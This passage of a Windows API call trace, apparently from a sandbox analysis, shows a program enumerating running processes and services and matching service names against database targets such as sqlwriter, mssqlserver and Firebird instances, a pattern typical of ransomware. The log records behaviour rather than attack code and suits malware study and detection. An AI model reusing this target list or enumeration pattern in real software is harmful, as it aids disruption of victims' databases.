lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0239.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0239.841] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0239.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0239.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0239.841] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0239.841] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0239.841] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4a4 [0239.844] Process32FirstW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.844] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.844] lstrlenW (lpString="System") returned 6 [0239.845] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.845] lstrlenW (lpString="smss.exe") returned 8 [0239.845] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.845] lstrlenW (lpString="csrss.exe") returned 9 [0239.845] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.846] lstrlenW (lpString="wininit.exe") returned 11 [0239.846] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.846] lstrlenW (lpString="csrss.exe") returned 9 [0239.846] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.846] lstrlenW (lpString="winlogon.exe") returned 12 [0239.847] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.847] lstrlenW (lpString="services.exe") returned 12 [0239.847] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.847] lstrlenW (lpString="lsass.exe") returned 9 [0239.847] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0239.848] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0239.848] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0239.848] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0239.848] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.848] lstrlenW (lpString="svchost.exe") returned 11 [0239.848] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.849] lstrlenW (lpString="svchost.exe") returned 11 [0239.849] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.849] lstrlenW (lpString="dwm.exe") returned 7 [0239.849] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.849] lstrlenW (lpString="svchost.exe") returned 11 [0239.850] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.850] lstrlenW (lpString="svchost.exe") returned 11 [0239.850] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.850] lstrlenW (lpString="svchost.exe") returned 11 [0239.850] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.851] lstrlenW (lpString="svchost.exe") returned 11 [0239.851] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.851] lstrlenW (lpString="svchost.exe") returned 11 [0239.851] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.851] lstrlenW (lpString="svchost.exe") returned 11 [0239.851] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.852] lstrlenW (lpString="svchost.exe") returned 11 [0239.852] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.852] lstrlenW (lpString="svchost.exe") returned 11 [0239.852] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.852] lstrlenW (lpString="svchost.exe") returned 11 [0239.852] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.853] lstrlenW (lpString="svchost.exe") returned 11 [0239.853] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.853] lstrlenW (lpString="spoolsv.exe") returned 11 [0239.853] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.853] lstrlenW (lpString="svchost.exe") returned 11 [0239.854] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.854] lstrlenW (lpString="audiodg.exe") returned 11 [0239.854] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.854] lstrlenW (lpString="svchost.exe") returned 11 [0239.854] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0239.855] lstrlenW (lpString="sihost.exe") returned 10 [0239.855] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0239.855] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0239.855] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0239.855] lstrlenW (lpString="Memory Compression") returned 18 [0239.855] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0239.856] lstrlenW (lpString="taskhostw.exe") returned 13 [0239.856] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.856] lstrlenW (lpString="explorer.exe") returned 12 [0239.856] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0239.856] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0239.857] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0239.857] lstrlenW (lpString="SearchUI.exe") returned 12 [0239.857] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0239.857] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0239.857] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0239.858] lstrlenW (lpString="winhost.exe") returned 11 [0239.858] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0239.858] lstrlenW (lpString="cmd.exe") returned 7 [0239.858] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0239.858] lstrlenW (lpString="conhost.exe") returned 11 [0239.858] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x178, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0239.859] lstrlenW (lpString="consent.exe") returned 11 [0239.859] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0239.859] lstrlenW (lpString="dllhost.exe") returned 11 [0239.859] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0239.965] CloseHandle (hObject=0x4a4) returned 1 [0239.965] Sleep (dwMilliseconds=0x1f4) [0240.542] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb530 [0240.542] EnumServicesStatusExW (in: hSCManager=0x40eb530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0240.543] GetLastError () returned 0xea [0240.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x5061090 [0240.544] EnumServicesStatusExW (in: hSCManager=0x40eb530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5061090, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5061090, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0240.544] CloseServiceHandle (hSCObject=0x40eb530) returned 1 [0240.545] lstrlenW (lpString="Appinfo") returned 7 [0240.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0240.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0240.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0240.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0240.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0240.545] lstrlenW (lpString="AppXSvc") returned 7 [0240.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0240.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0240.545] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0240.545] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0240.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0240.545] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0240.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0240.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0240.545] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0240.545] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0240.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0240.545] lstrlenW (lpString="Audiosrv") returned 8 [0240.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0240.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0240.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0240.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0240.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0240.545] lstrlenW (lpString="BFE") returned 3 [0240.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0240.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0240.545] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0240.545] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0240.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0240.545] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0240.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0240.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0240.546] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0240.546] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0240.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0240.546] lstrlenW (lpString="CDPSvc") returned 6 [0240.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0240.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0240.546] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0240.546] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0240.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0240.546] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0240.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0240.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0240.546] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0240.546] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0240.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0240.546] lstrlenW (lpString="CryptSvc") returned 8 [0240.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0240.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0240.546] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0240.546] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0240.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0240.546] lstrlenW (lpString="DcomLaunch") returned 10 [0240.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0240.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0240.546] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0240.546] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0240.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0240.546] lstrlenW (lpString="DeviceAssociationService") returned 24 [0240.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0240.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0240.546] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0240.546] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0240.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0240.547] lstrlenW (lpString="Dhcp") returned 4 [0240.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0240.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0240.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0240.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0240.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0240.547] lstrlenW (lpString="Dnscache") returned 8 [0240.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0240.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0240.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0240.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0240.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0240.547] lstrlenW (lpString="DPS") returned 3 [0240.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0240.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0240.547] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0240.547] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0240.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0240.547] lstrlenW (lpString="DusmSvc") returned 7 [0240.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0240.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0240.547] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0240.547] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0240.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0240.547] lstrlenW (lpString="EventLog") returned 8 [0240.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0240.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0240.547] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0240.547] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0240.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0240.547] lstrlenW (lpString="EventSystem") returned 11 [0240.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0240.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0240.547] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0240.547] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0240.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0240.548] lstrlenW (lpString="FontCache") returned 9 [0240.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0240.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0240.548] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0240.548] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0240.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0240.548] lstrlenW (lpString="gpsvc") returned 5 [0240.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0240.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0240.548] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0240.548] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0240.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0240.548] lstrlenW (lpString="iphlpsvc") returned 8 [0240.548] lstrcmpiW 